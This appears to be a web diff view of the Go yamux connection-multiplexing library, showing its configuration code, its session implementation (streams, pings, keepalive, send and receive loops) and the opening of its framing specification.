// messages using a ping.
|
||||
EnableKeepAlive bool
|
||||
|
||||
// KeepAliveInterval is how often to perform the keep alive
|
||||
KeepAliveInterval time.Duration
|
||||
|
||||
// ConnectionWriteTimeout is meant to be a "safety valve" timeout after
|
||||
// we which will suspect a problem with the underlying connection and
|
||||
// close it. This is only applied to writes, where's there's generally
|
||||
// an expectation that things will move along quickly.
|
||||
ConnectionWriteTimeout time.Duration
|
||||
|
||||
// MaxStreamWindowSize is used to control the maximum
|
||||
// window size that we allow for a stream.
|
||||
MaxStreamWindowSize uint32
|
||||
|
||||
// StreamOpenTimeout is the maximum amount of time that a stream will
|
||||
// be allowed to remain in pending state while waiting for an ack from the peer.
|
||||
// Once the timeout is reached the session will be gracefully closed.
|
||||
// A zero value disables the StreamOpenTimeout allowing unbounded
|
||||
// blocking on OpenStream calls.
|
||||
StreamOpenTimeout time.Duration
|
||||
|
||||
// StreamCloseTimeout is the maximum time that a stream will allowed to
|
||||
// be in a half-closed state when `Close` is called before forcibly
|
||||
// closing the connection. Forcibly closed connections will empty the
|
||||
// receive buffer, drop any future packets received for that stream,
|
||||
// and send a RST to the remote side.
|
||||
StreamCloseTimeout time.Duration
|
||||
|
||||
// LogOutput is used to control the log destination. Either Logger or
|
||||
// LogOutput can be set, not both.
|
||||
LogOutput io.Writer
|
||||
|
||||
// Logger is used to pass in the logger to be used. Either Logger or
|
||||
// LogOutput can be set, not both.
|
||||
Logger Logger
|
||||
}
|
||||
|
||||
func (c *Config) Clone() *Config {
|
||||
c2 := *c
|
||||
return &c2
|
||||
}
|
||||
|
||||
// DefaultConfig is used to return a default configuration
|
||||
func DefaultConfig() *Config {
|
||||
return &Config{
|
||||
AcceptBacklog: 256,
|
||||
EnableKeepAlive: true,
|
||||
KeepAliveInterval: 30 * time.Second,
|
||||
ConnectionWriteTimeout: 10 * time.Second,
|
||||
MaxStreamWindowSize: initialStreamWindow,
|
||||
StreamCloseTimeout: 5 * time.Minute,
|
||||
StreamOpenTimeout: 75 * time.Second,
|
||||
LogOutput: os.Stderr,
|
||||
}
|
||||
}
|
||||
|
||||
// VerifyConfig is used to verify the sanity of configuration
|
||||
func VerifyConfig(config *Config) error {
|
||||
if config.AcceptBacklog <= 0 {
|
||||
return fmt.Errorf("backlog must be positive")
|
||||
}
|
||||
if config.KeepAliveInterval == 0 {
|
||||
return fmt.Errorf("keep-alive interval must be positive")
|
||||
}
|
||||
if config.MaxStreamWindowSize < initialStreamWindow {
|
||||
return fmt.Errorf("MaxStreamWindowSize must be larger than %d", initialStreamWindow)
|
||||
}
|
||||
if config.LogOutput != nil && config.Logger != nil {
|
||||
return fmt.Errorf("both Logger and LogOutput may not be set, select one")
|
||||
} else if config.LogOutput == nil && config.Logger == nil {
|
||||
return fmt.Errorf("one of Logger or LogOutput must be set, select one")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Server is used to initialize a new server-side connection.
|
||||
// There must be at most one server-side connection. If a nil config is
|
||||
// provided, the DefaultConfiguration will be used.
|
||||
func Server(conn io.ReadWriteCloser, config *Config) (*Session, error) {
|
||||
if config == nil {
|
||||
config = DefaultConfig()
|
||||
}
|
||||
if err := VerifyConfig(config); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return newSession(config, conn, false), nil
|
||||
}
|
||||
|
||||
// Client is used to initialize a new client-side connection.
|
||||
// There must be at most one client-side connection.
|
||||
func Client(conn io.ReadWriteCloser, config *Config) (*Session, error) {
|
||||
if config == nil {
|
||||
config = DefaultConfig()
|
||||
}
|
||||
|
||||
if err := VerifyConfig(config); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return newSession(config, conn, true), nil
|
||||
}
|
||||
+749
@@ -0,0 +1,749 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"math"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Session is used to wrap a reliable ordered connection and to
|
||||
// multiplex it into multiple streams.
|
||||
type Session struct {
|
||||
// remoteGoAway indicates the remote side does
|
||||
// not want futher connections. Must be first for alignment.
|
||||
remoteGoAway int32
|
||||
|
||||
// localGoAway indicates that we should stop
|
||||
// accepting futher connections. Must be first for alignment.
|
||||
localGoAway int32
|
||||
|
||||
// nextStreamID is the next stream we should
|
||||
// send. This depends if we are a client/server.
|
||||
nextStreamID uint32
|
||||
|
||||
// config holds our configuration
|
||||
config *Config
|
||||
|
||||
// logger is used for our logs
|
||||
logger Logger
|
||||
|
||||
// conn is the underlying connection
|
||||
conn io.ReadWriteCloser
|
||||
|
||||
// bufRead is a buffered reader
|
||||
bufRead *bufio.Reader
|
||||
|
||||
// pings is used to track inflight pings
|
||||
pings map[uint32]chan struct{}
|
||||
pingID uint32
|
||||
pingLock sync.Mutex
|
||||
|
||||
// streams maps a stream id to a stream, and inflight has an entry
|
||||
// for any outgoing stream that has not yet been established. Both are
|
||||
// protected by streamLock.
|
||||
streams map[uint32]*Stream
|
||||
inflight map[uint32]struct{}
|
||||
streamLock sync.Mutex
|
||||
|
||||
// synCh acts like a semaphore. It is sized to the AcceptBacklog which
|
||||
// is assumed to be symmetric between the client and server. This allows
|
||||
// the client to avoid exceeding the backlog and instead blocks the open.
|
||||
synCh chan struct{}
|
||||
|
||||
// acceptCh is used to pass ready streams to the client
|
||||
acceptCh chan *Stream
|
||||
|
||||
// sendCh is used to mark a stream as ready to send,
|
||||
// or to send a header out directly.
|
||||
sendCh chan *sendReady
|
||||
|
||||
// recvDoneCh is closed when recv() exits to avoid a race
|
||||
// between stream registration and stream shutdown
|
||||
recvDoneCh chan struct{}
|
||||
sendDoneCh chan struct{}
|
||||
|
||||
// shutdown is used to safely close a session
|
||||
shutdown bool
|
||||
shutdownErr error
|
||||
shutdownCh chan struct{}
|
||||
shutdownLock sync.Mutex
|
||||
shutdownErrLock sync.Mutex
|
||||
}
|
||||
|
||||
// sendReady is used to either mark a stream as ready
|
||||
// or to directly send a header
|
||||
type sendReady struct {
|
||||
Hdr []byte
|
||||
mu sync.Mutex // Protects Body from unsafe reads.
|
||||
Body []byte
|
||||
Err chan error
|
||||
}
|
||||
|
||||
// newSession is used to construct a new session
|
||||
func newSession(config *Config, conn io.ReadWriteCloser, client bool) *Session {
|
||||
logger := config.Logger
|
||||
if logger == nil {
|
||||
logger = log.New(config.LogOutput, "", log.LstdFlags)
|
||||
}
|
||||
|
||||
s := &Session{
|
||||
config: config,
|
||||
logger: logger,
|
||||
conn: conn,
|
||||
bufRead: bufio.NewReader(conn),
|
||||
pings: make(map[uint32]chan struct{}),
|
||||
streams: make(map[uint32]*Stream),
|
||||
inflight: make(map[uint32]struct{}),
|
||||
synCh: make(chan struct{}, config.AcceptBacklog),
|
||||
acceptCh: make(chan *Stream, config.AcceptBacklog),
|
||||
sendCh: make(chan *sendReady, 64),
|
||||
recvDoneCh: make(chan struct{}),
|
||||
sendDoneCh: make(chan struct{}),
|
||||
shutdownCh: make(chan struct{}),
|
||||
}
|
||||
if client {
|
||||
s.nextStreamID = 1
|
||||
} else {
|
||||
s.nextStreamID = 2
|
||||
}
|
||||
go s.recv()
|
||||
go s.send()
|
||||
if config.EnableKeepAlive {
|
||||
go s.keepalive()
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// IsClosed does a safe check to see if we have shutdown
|
||||
func (s *Session) IsClosed() bool {
|
||||
select {
|
||||
case <-s.shutdownCh:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// CloseChan returns a read-only channel which is closed as
|
||||
// soon as the session is closed.
|
||||
func (s *Session) CloseChan() <-chan struct{} {
|
||||
return s.shutdownCh
|
||||
}
|
||||
|
||||
// NumStreams returns the number of currently open streams
|
||||
func (s *Session) NumStreams() int {
|
||||
s.streamLock.Lock()
|
||||
num := len(s.streams)
|
||||
s.streamLock.Unlock()
|
||||
return num
|
||||
}
|
||||
|
||||
// Open is used to create a new stream as a net.Conn
|
||||
func (s *Session) Open() (net.Conn, error) {
|
||||
conn, err := s.OpenStream()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
// OpenStream is used to create a new stream
|
||||
func (s *Session) OpenStream() (*Stream, error) {
|
||||
if s.IsClosed() {
|
||||
return nil, ErrSessionShutdown
|
||||
}
|
||||
if atomic.LoadInt32(&s.remoteGoAway) == 1 {
|
||||
return nil, ErrRemoteGoAway
|
||||
}
|
||||
|
||||
// Block if we have too many inflight SYNs
|
||||
select {
|
||||
case s.synCh <- struct{}{}:
|
||||
case <-s.shutdownCh:
|
||||
return nil, ErrSessionShutdown
|
||||
}
|
||||
|
||||
GET_ID:
|
||||
// Get an ID, and check for stream exhaustion
|
||||
id := atomic.LoadUint32(&s.nextStreamID)
|
||||
if id >= math.MaxUint32-1 {
|
||||
return nil, ErrStreamsExhausted
|
||||
}
|
||||
if !atomic.CompareAndSwapUint32(&s.nextStreamID, id, id+2) {
|
||||
goto GET_ID
|
||||
}
|
||||
|
||||
// Register the stream
|
||||
stream := newStream(s, id, streamInit)
|
||||
s.streamLock.Lock()
|
||||
s.streams[id] = stream
|
||||
s.inflight[id] = struct{}{}
|
||||
s.streamLock.Unlock()
|
||||
|
||||
if s.config.StreamOpenTimeout > 0 {
|
||||
go s.setOpenTimeout(stream)
|
||||
}
|
||||
|
||||
// Send the window update to create
|
||||
if err := stream.sendWindowUpdate(); err != nil {
|
||||
select {
|
||||
case <-s.synCh:
|
||||
default:
|
||||
s.logger.Printf("[ERR] yamux: aborted stream open without inflight syn semaphore")
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
return stream, nil
|
||||
}
|
||||
|
||||
// setOpenTimeout implements a timeout for streams that are opened but not established.
|
||||
// If the StreamOpenTimeout is exceeded we assume the peer is unable to ACK,
|
||||
// and close the session.
|
||||
// The number of running timers is bounded by the capacity of the synCh.
|
||||
func (s *Session) setOpenTimeout(stream *Stream) {
|
||||
timer := time.NewTimer(s.config.StreamOpenTimeout)
|
||||
defer timer.Stop()
|
||||
|
||||
select {
|
||||
case <-stream.establishCh:
|
||||
return
|
||||
case <-s.shutdownCh:
|
||||
return
|
||||
case <-timer.C:
|
||||
// Timeout reached while waiting for ACK.
|
||||
// Close the session to force connection re-establishment.
|
||||
s.logger.Printf("[ERR] yamux: aborted stream open (destination=%s): %v", s.RemoteAddr().String(), ErrTimeout.err)
|
||||
s.Close()
|
||||
}
|
||||
}
|
||||
|
||||
// Accept is used to block until the next available stream
|
||||
// is ready to be accepted.
|
||||
func (s *Session) Accept() (net.Conn, error) {
|
||||
conn, err := s.AcceptStream()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return conn, err
|
||||
}
|
||||
|
||||
// AcceptStream is used to block until the next available stream
|
||||
// is ready to be accepted.
|
||||
func (s *Session) AcceptStream() (*Stream, error) {
|
||||
select {
|
||||
case stream := <-s.acceptCh:
|
||||
if err := stream.sendWindowUpdate(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return stream, nil
|
||||
case <-s.shutdownCh:
|
||||
return nil, s.shutdownErr
|
||||
}
|
||||
}
|
||||
|
||||
// AcceptStream is used to block until the next available stream
|
||||
// is ready to be accepted.
|
||||
func (s *Session) AcceptStreamWithContext(ctx context.Context) (*Stream, error) {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
case stream := <-s.acceptCh:
|
||||
if err := stream.sendWindowUpdate(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return stream, nil
|
||||
case <-s.shutdownCh:
|
||||
return nil, s.shutdownErr
|
||||
}
|
||||
}
|
||||
|
||||
// Close is used to close the session and all streams.
|
||||
// Attempts to send a GoAway before closing the connection.
|
||||
func (s *Session) Close() error {
|
||||
s.shutdownLock.Lock()
|
||||
defer s.shutdownLock.Unlock()
|
||||
|
||||
if s.shutdown {
|
||||
return nil
|
||||
}
|
||||
s.shutdown = true
|
||||
|
||||
s.shutdownErrLock.Lock()
|
||||
if s.shutdownErr == nil {
|
||||
s.shutdownErr = ErrSessionShutdown
|
||||
}
|
||||
s.shutdownErrLock.Unlock()
|
||||
|
||||
close(s.shutdownCh)
|
||||
|
||||
s.conn.Close()
|
||||
<-s.recvDoneCh
|
||||
|
||||
s.streamLock.Lock()
|
||||
defer s.streamLock.Unlock()
|
||||
for _, stream := range s.streams {
|
||||
stream.forceClose()
|
||||
}
|
||||
<-s.sendDoneCh
|
||||
return nil
|
||||
}
|
||||
|
||||
// exitErr is used to handle an error that is causing the
|
||||
// session to terminate.
|
||||
func (s *Session) exitErr(err error) {
|
||||
s.shutdownErrLock.Lock()
|
||||
if s.shutdownErr == nil {
|
||||
s.shutdownErr = err
|
||||
}
|
||||
s.shutdownErrLock.Unlock()
|
||||
s.Close()
|
||||
}
|
||||
|
||||
// GoAway can be used to prevent accepting further
|
||||
// connections. It does not close the underlying conn.
|
||||
func (s *Session) GoAway() error {
|
||||
return s.waitForSend(s.goAway(goAwayNormal), nil)
|
||||
}
|
||||
|
||||
// goAway is used to send a goAway message
|
||||
func (s *Session) goAway(reason uint32) header {
|
||||
atomic.SwapInt32(&s.localGoAway, 1)
|
||||
hdr := header(make([]byte, headerSize))
|
||||
hdr.encode(typeGoAway, 0, 0, reason)
|
||||
return hdr
|
||||
}
|
||||
|
||||
// Ping is used to measure the RTT response time
|
||||
func (s *Session) Ping() (time.Duration, error) {
|
||||
// Get a channel for the ping
|
||||
ch := make(chan struct{})
|
||||
|
||||
// Get a new ping id, mark as pending
|
||||
s.pingLock.Lock()
|
||||
id := s.pingID
|
||||
s.pingID++
|
||||
s.pings[id] = ch
|
||||
s.pingLock.Unlock()
|
||||
|
||||
// Send the ping request
|
||||
hdr := header(make([]byte, headerSize))
|
||||
hdr.encode(typePing, flagSYN, 0, id)
|
||||
if err := s.waitForSend(hdr, nil); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
// Wait for a response
|
||||
start := time.Now()
|
||||
select {
|
||||
case <-ch:
|
||||
case <-time.After(s.config.ConnectionWriteTimeout):
|
||||
s.pingLock.Lock()
|
||||
delete(s.pings, id) // Ignore it if a response comes later.
|
||||
s.pingLock.Unlock()
|
||||
return 0, ErrTimeout
|
||||
case <-s.shutdownCh:
|
||||
return 0, ErrSessionShutdown
|
||||
}
|
||||
|
||||
// Compute the RTT
|
||||
return time.Since(start), nil
|
||||
}
|
||||
|
||||
// keepalive is a long running goroutine that periodically does
|
||||
// a ping to keep the connection alive.
|
||||
func (s *Session) keepalive() {
|
||||
for {
|
||||
select {
|
||||
case <-time.After(s.config.KeepAliveInterval):
|
||||
_, err := s.Ping()
|
||||
if err != nil {
|
||||
if err != ErrSessionShutdown {
|
||||
s.logger.Printf("[ERR] yamux: keepalive failed: %v", err)
|
||||
s.exitErr(ErrKeepAliveTimeout)
|
||||
}
|
||||
return
|
||||
}
|
||||
case <-s.shutdownCh:
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// waitForSendErr waits to send a header, checking for a potential shutdown
|
||||
func (s *Session) waitForSend(hdr header, body []byte) error {
|
||||
errCh := make(chan error, 1)
|
||||
return s.waitForSendErr(hdr, body, errCh)
|
||||
}
|
||||
|
||||
// waitForSendErr waits to send a header with optional data, checking for a
|
||||
// potential shutdown. Since there's the expectation that sends can happen
|
||||
// in a timely manner, we enforce the connection write timeout here.
|
||||
func (s *Session) waitForSendErr(hdr header, body []byte, errCh chan error) error {
|
||||
t := timerPool.Get()
|
||||
timer := t.(*time.Timer)
|
||||
timer.Reset(s.config.ConnectionWriteTimeout)
|
||||
defer func() {
|
||||
timer.Stop()
|
||||
select {
|
||||
case <-timer.C:
|
||||
default:
|
||||
}
|
||||
timerPool.Put(t)
|
||||
}()
|
||||
|
||||
ready := &sendReady{Hdr: hdr, Body: body, Err: errCh}
|
||||
select {
|
||||
case s.sendCh <- ready:
|
||||
case <-s.shutdownCh:
|
||||
return ErrSessionShutdown
|
||||
case <-timer.C:
|
||||
return ErrConnectionWriteTimeout
|
||||
}
|
||||
|
||||
bodyCopy := func() {
|
||||
if body == nil {
|
||||
return // A nil body is ignored.
|
||||
}
|
||||
|
||||
// In the event of session shutdown or connection write timeout,
|
||||
// we need to prevent `send` from reading the body buffer after
|
||||
// returning from this function since the caller may re-use the
|
||||
// underlying array.
|
||||
ready.mu.Lock()
|
||||
defer ready.mu.Unlock()
|
||||
|
||||
if ready.Body == nil {
|
||||
return // Body was already copied in `send`.
|
||||
}
|
||||
newBody := make([]byte, len(body))
|
||||
copy(newBody, body)
|
||||
ready.Body = newBody
|
||||
}
|
||||
|
||||
select {
|
||||
case err := <-errCh:
|
||||
return err
|
||||
case <-s.shutdownCh:
|
||||
bodyCopy()
|
||||
return ErrSessionShutdown
|
||||
case <-timer.C:
|
||||
bodyCopy()
|
||||
return ErrConnectionWriteTimeout
|
||||
}
|
||||
}
|
||||
|
||||
// sendNoWait does a send without waiting. Since there's the expectation that
|
||||
// the send happens right here, we enforce the connection write timeout if we
|
||||
// can't queue the header to be sent.
|
||||
func (s *Session) sendNoWait(hdr header) error {
|
||||
t := timerPool.Get()
|
||||
timer := t.(*time.Timer)
|
||||
timer.Reset(s.config.ConnectionWriteTimeout)
|
||||
defer func() {
|
||||
timer.Stop()
|
||||
select {
|
||||
case <-timer.C:
|
||||
default:
|
||||
}
|
||||
timerPool.Put(t)
|
||||
}()
|
||||
|
||||
select {
|
||||
case s.sendCh <- &sendReady{Hdr: hdr}:
|
||||
return nil
|
||||
case <-s.shutdownCh:
|
||||
return ErrSessionShutdown
|
||||
case <-timer.C:
|
||||
return ErrConnectionWriteTimeout
|
||||
}
|
||||
}
|
||||
|
||||
// send is a long running goroutine that sends data
|
||||
func (s *Session) send() {
|
||||
if err := s.sendLoop(); err != nil {
|
||||
s.exitErr(err)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Session) sendLoop() error {
|
||||
defer close(s.sendDoneCh)
|
||||
var bodyBuf bytes.Buffer
|
||||
for {
|
||||
bodyBuf.Reset()
|
||||
|
||||
select {
|
||||
case ready := <-s.sendCh:
|
||||
// Send a header if ready
|
||||
if ready.Hdr != nil {
|
||||
_, err := s.conn.Write(ready.Hdr)
|
||||
if err != nil {
|
||||
s.logger.Printf("[ERR] yamux: Failed to write header: %v", err)
|
||||
asyncSendErr(ready.Err, err)
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
ready.mu.Lock()
|
||||
if ready.Body != nil {
|
||||
// Copy the body into the buffer to avoid
|
||||
// holding a mutex lock during the write.
|
||||
_, err := bodyBuf.Write(ready.Body)
|
||||
if err != nil {
|
||||
ready.Body = nil
|
||||
ready.mu.Unlock()
|
||||
s.logger.Printf("[ERR] yamux: Failed to copy body into buffer: %v", err)
|
||||
asyncSendErr(ready.Err, err)
|
||||
return err
|
||||
}
|
||||
ready.Body = nil
|
||||
}
|
||||
ready.mu.Unlock()
|
||||
|
||||
if bodyBuf.Len() > 0 {
|
||||
// Send data from a body if given
|
||||
_, err := s.conn.Write(bodyBuf.Bytes())
|
||||
if err != nil {
|
||||
s.logger.Printf("[ERR] yamux: Failed to write body: %v", err)
|
||||
asyncSendErr(ready.Err, err)
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
// No error, successful send
|
||||
asyncSendErr(ready.Err, nil)
|
||||
case <-s.shutdownCh:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// recv is a long running goroutine that accepts new data
|
||||
func (s *Session) recv() {
|
||||
if err := s.recvLoop(); err != nil {
|
||||
s.exitErr(err)
|
||||
}
|
||||
}
|
||||
|
||||
// Ensure that the index of the handler (typeData/typeWindowUpdate/etc) matches the message type
|
||||
var (
|
||||
handlers = []func(*Session, header) error{
|
||||
typeData: (*Session).handleStreamMessage,
|
||||
typeWindowUpdate: (*Session).handleStreamMessage,
|
||||
typePing: (*Session).handlePing,
|
||||
typeGoAway: (*Session).handleGoAway,
|
||||
}
|
||||
)
|
||||
|
||||
// recvLoop continues to receive data until a fatal error is encountered
|
||||
func (s *Session) recvLoop() error {
|
||||
defer close(s.recvDoneCh)
|
||||
hdr := header(make([]byte, headerSize))
|
||||
for {
|
||||
// Read the header
|
||||
if _, err := io.ReadFull(s.bufRead, hdr); err != nil {
|
||||
if err != io.EOF && !strings.Contains(err.Error(), "closed") && !strings.Contains(err.Error(), "reset by peer") {
|
||||
s.logger.Printf("[ERR] yamux: Failed to read header: %v", err)
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
// Verify the version
|
||||
if hdr.Version() != protoVersion {
|
||||
s.logger.Printf("[ERR] yamux: Invalid protocol version: %d", hdr.Version())
|
||||
return ErrInvalidVersion
|
||||
}
|
||||
|
||||
mt := hdr.MsgType()
|
||||
if mt < typeData || mt > typeGoAway {
|
||||
return ErrInvalidMsgType
|
||||
}
|
||||
|
||||
if err := handlers[mt](s, hdr); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// handleStreamMessage handles either a data or window update frame
|
||||
func (s *Session) handleStreamMessage(hdr header) error {
|
||||
// Check for a new stream creation
|
||||
id := hdr.StreamID()
|
||||
flags := hdr.Flags()
|
||||
if flags&flagSYN == flagSYN {
|
||||
if err := s.incomingStream(id); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
// Get the stream
|
||||
s.streamLock.Lock()
|
||||
stream := s.streams[id]
|
||||
s.streamLock.Unlock()
|
||||
|
||||
// If we do not have a stream, likely we sent a RST
|
||||
if stream == nil {
|
||||
// Drain any data on the wire
|
||||
if hdr.MsgType() == typeData && hdr.Length() > 0 {
|
||||
s.logger.Printf("[WARN] yamux: Discarding data for stream: %d", id)
|
||||
if _, err := io.CopyN(ioutil.Discard, s.bufRead, int64(hdr.Length())); err != nil {
|
||||
s.logger.Printf("[ERR] yamux: Failed to discard data: %v", err)
|
||||
return nil
|
||||
}
|
||||
} else {
|
||||
s.logger.Printf("[WARN] yamux: frame for missing stream: %v", hdr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Check if this is a window update
|
||||
if hdr.MsgType() == typeWindowUpdate {
|
||||
if err := stream.incrSendWindow(hdr, flags); err != nil {
|
||||
if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
|
||||
s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
|
||||
}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Read the new data
|
||||
if err := stream.readData(hdr, flags, s.bufRead); err != nil {
|
||||
if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
|
||||
s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
|
||||
}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// handlePing is invokde for a typePing frame
|
||||
func (s *Session) handlePing(hdr header) error {
|
||||
flags := hdr.Flags()
|
||||
pingID := hdr.Length()
|
||||
|
||||
// Check if this is a query, respond back in a separate context so we
|
||||
// don't interfere with the receiving thread blocking for the write.
|
||||
if flags&flagSYN == flagSYN {
|
||||
go func() {
|
||||
hdr := header(make([]byte, headerSize))
|
||||
hdr.encode(typePing, flagACK, 0, pingID)
|
||||
if err := s.sendNoWait(hdr); err != nil {
|
||||
s.logger.Printf("[WARN] yamux: failed to send ping reply: %v", err)
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
|
||||
// Handle a response
|
||||
s.pingLock.Lock()
|
||||
ch := s.pings[pingID]
|
||||
if ch != nil {
|
||||
delete(s.pings, pingID)
|
||||
close(ch)
|
||||
}
|
||||
s.pingLock.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
// handleGoAway is invokde for a typeGoAway frame
|
||||
func (s *Session) handleGoAway(hdr header) error {
|
||||
code := hdr.Length()
|
||||
switch code {
|
||||
case goAwayNormal:
|
||||
atomic.SwapInt32(&s.remoteGoAway, 1)
|
||||
case goAwayProtoErr:
|
||||
s.logger.Printf("[ERR] yamux: received protocol error go away")
|
||||
return fmt.Errorf("yamux protocol error")
|
||||
case goAwayInternalErr:
|
||||
s.logger.Printf("[ERR] yamux: received internal error go away")
|
||||
return fmt.Errorf("remote yamux internal error")
|
||||
default:
|
||||
s.logger.Printf("[ERR] yamux: received unexpected go away")
|
||||
return fmt.Errorf("unexpected go away received")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// incomingStream is used to create a new incoming stream
|
||||
func (s *Session) incomingStream(id uint32) error {
|
||||
// Reject immediately if we are doing a go away
|
||||
if atomic.LoadInt32(&s.localGoAway) == 1 {
|
||||
hdr := header(make([]byte, headerSize))
|
||||
hdr.encode(typeWindowUpdate, flagRST, id, 0)
|
||||
return s.sendNoWait(hdr)
|
||||
}
|
||||
|
||||
// Allocate a new stream
|
||||
stream := newStream(s, id, streamSYNReceived)
|
||||
|
||||
s.streamLock.Lock()
|
||||
defer s.streamLock.Unlock()
|
||||
|
||||
// Check if stream already exists
|
||||
if _, ok := s.streams[id]; ok {
|
||||
s.logger.Printf("[ERR] yamux: duplicate stream declared")
|
||||
if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
|
||||
s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
|
||||
}
|
||||
return ErrDuplicateStream
|
||||
}
|
||||
|
||||
// Register the stream
|
||||
s.streams[id] = stream
|
||||
|
||||
// Check if we've exceeded the backlog
|
||||
select {
|
||||
case s.acceptCh <- stream:
|
||||
return nil
|
||||
default:
|
||||
// Backlog exceeded! RST the stream
|
||||
s.logger.Printf("[WARN] yamux: backlog exceeded, forcing connection reset")
|
||||
delete(s.streams, id)
|
||||
hdr := header(make([]byte, headerSize))
|
||||
hdr.encode(typeWindowUpdate, flagRST, id, 0)
|
||||
return s.sendNoWait(hdr)
|
||||
}
|
||||
}
|
||||
|
||||
// closeStream is used to close a stream once both sides have
|
||||
// issued a close. If there was an in-flight SYN and the stream
|
||||
// was not yet established, then this will give the credit back.
|
||||
func (s *Session) closeStream(id uint32) {
|
||||
s.streamLock.Lock()
|
||||
if _, ok := s.inflight[id]; ok {
|
||||
select {
|
||||
case <-s.synCh:
|
||||
default:
|
||||
s.logger.Printf("[ERR] yamux: SYN tracking out of sync")
|
||||
}
|
||||
}
|
||||
delete(s.streams, id)
|
||||
s.streamLock.Unlock()
|
||||
}
|
||||
|
||||
// establishStream is used to mark a stream that was in the
|
||||
// SYN Sent state as established.
|
||||
func (s *Session) establishStream(id uint32) {
|
||||
s.streamLock.Lock()
|
||||
if _, ok := s.inflight[id]; ok {
|
||||
delete(s.inflight, id)
|
||||
} else {
|
||||
s.logger.Printf("[ERR] yamux: established stream without inflight SYN (no tracking entry)")
|
||||
}
|
||||
select {
|
||||
case <-s.synCh:
|
||||
default:
|
||||
s.logger.Printf("[ERR] yamux: established stream without inflight SYN (didn't have semaphore)")
|
||||
}
|
||||
s.streamLock.Unlock()
|
||||
}
|
||||
+1774
File diff suppressed because it is too large.
Load diff
+140
@@ -0,0 +1,140 @@
|
||||
# Specification
|
||||
|
||||
We use this document to detail the internal specification of Yamux.
|
||||
This is used both as a guide for implementing Yamux, but also for
|
||||
alternative interoperable libraries to be built.
|
||||
|
||||
# Framing
|
||||
|
||||
Yamux uses a streaming connection underneath, but imposes a message
|
||||
framing so that it can be shared between many logical streams. Each
|
||||
frame contains a header like:
|
||||
|
||||
* Version (8 bits)
|
||||
* Type (8 bits)
|
||||
* Flags (16 bits)
|
||||
* StreamID (32 bits)
|
||||
* Length (32 bits)
|
||||
|
||||
This means that each header has a 12 byte overhead.
|
||||
All fields are encoded in network order (big endian).
|
||||
Each field is described below:
|
||||
|
||||
## Version Field
|
||||
|
||||
The version field is used for future backward compatibility. At the
|
||||
current time, the field is always set to 0, to indicate the initial
|
||||
version.
|
||||
|
||||
## Type Field
|
||||
|
||||
The type field is used to switch the frame message type. The following
|
||||
message types are supported:
|
||||
|
||||
* 0x0 Data - Used to transmit data. May transmit zero length payloads
|
||||
depending on the flags.
|
||||
|
||||
* 0x1 Window Update - Used to updated the senders receive window size.
|
||||
This is used to implement per-session flow control.
|
||||
|
||||
* 0x2 Ping - Used to measure RTT. It can also be used to heart-beat
|
||||
and do keep-alives over TCP.
|
||||
|
||||
* 0x3 Go Away - Used to close a session.
|
||||
|
||||
## Flag Field
|
||||
|
||||
The flags field is used to provide additional information related
|
||||
to the message type. The following flags are supported:
|
||||
|
||||
* 0x1 SYN - Signals the start of a new stream. May be sent with a data or
|
||||
window update message. Also sent with a ping to indicate outbound.
|
||||
|
||||
* 0x2 ACK - Acknowledges the start of a new stream. May be sent with a data
|
||||
or window update message. Also sent with a ping to indicate response.
|
||||
|
||||
* 0x4 FIN - Performs a half-close of a stream. May be sent with a data
|
||||
message or window update.
|
||||
|
||||
* 0x8 RST - Reset a stream immediately. May be sent with a data or
|
||||
window update message.
|
||||
|
||||
## StreamID Field
|
||||
|
||||
The StreamID field is used to identify the logical stream the frame
|
||||
is addressing. The client side should use odd ID's, and the server even.
|
||||
This prevents any collisions. Additionally, the 0 ID is reserved to represent
|
||||
the session.
|
||||
|
||||
Both Ping and Go Away messages should always use the 0 StreamID.
|
||||
|
||||
## Length Field
|
||||
|
||||
The meaning of the length field depends on the message type:
|
||||
|
||||
* Data - provides the length of bytes following the header
|
||||
* Window update - provides a delta update to the window size
|
||||
* Ping - Contains an opaque value, echoed back
|
||||
* Go Away - Contains an error code
|
||||
